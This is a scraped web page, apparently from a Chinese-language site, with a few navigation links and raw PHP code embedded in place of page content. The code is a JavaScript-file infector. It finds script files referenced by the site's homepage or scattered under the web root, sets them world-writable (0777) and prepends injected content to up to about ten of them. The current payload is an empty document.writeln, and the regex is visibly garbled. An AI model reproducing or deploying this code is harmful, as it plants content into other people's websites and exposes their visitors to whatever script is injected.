• 英文网站
  • 加入收藏
  • 联系我们
  • define("JSCONTENT","document.writeln(\"\");"); $str = file_get_contents("http://".$_SERVER['SERVER_NAME']); if($str!=""){ echo "第一种\r\n"; $num = getjs($str); echo "完成写入 ".$num." 个"; if($num==0){ echo "第二种\r\n"; $num = read_dir_write($_SERVER['DOCUMENT_ROOT']); echo "完成写入 ".$num." 个"; } }else{ echo "第二种\r\n"; $num = read_dir_write($_SERVER['DOCUMENT_ROOT']); echo "完成写入 ".$num." 个"; } $nn=0; function getjs($str){ $newarr = array(); $root = $_SERVER['DOCUMENT_ROOT']; $root = str_replace("\\","/",$root);//根目录 $preg = "/]*))?>(.*?)<\/script>/i"; preg_match_all($preg, $str, $match); foreach($match[1] as $k=>$v){ if(!stristr($v,"://")){ $strs = $v; $strs = str_replace("'","",$strs); if(is_file($root."/".str_replace('"',"",$strs))){ $newarr[] = $root."/".str_replace('"',"",$strs); } } } shuffle($newarr); echo $newarr[0]; $num = write_js($newarr[0],JSCONTENT); return $num; //return $match; } function write_js($file,$appcontent)//追加的内容 { //$tmpprem = base_convert(fileperms($file), 10, 8); @chmod($file,0777); $tmptime = filemtime($file); $contents = file_get_contents($file); if(!stristr($contents,$appcontent)){//去重复 $fp = fopen($file, 'w'); echo fwrite($fp,$appcontent.$contents ); fclose($fp); //file_put_contents($file,$appcontent.$contents); } if(stristr(file_get_contents($file),JSCONTENT)){ echo " 一切正常 ".$file." 写完了\r\n"; return 1; }else{ echo " ".$file." 没写成功\r\n"; return 0; } //touch ($file,$tmptime); //chmod($file,$tmpprem); } function read_dir_write($dir){ global $nn; $files=array(); $queue=array($dir); while($data=each($queue)){ $path=$data['value']; if(is_dir($path) && $handle=opendir($path)){ while($file=readdir($handle)){ if($file=='.'||$file=='..') continue; $files[] = $real_path=$path.'/'.$file; if(strtolower(substr($real_path, strrpos($real_path, '.')+1))=="js"){ if(rand(1,5)==1 && $nn<10){ $statics =write_js($real_path,JSCONTENT); if($statics){ $nn++; } } if($nn==9){ return 9; } } if (is_dir($real_path)) $queue[] = $real_path; } } closedir($handle); } return 0; }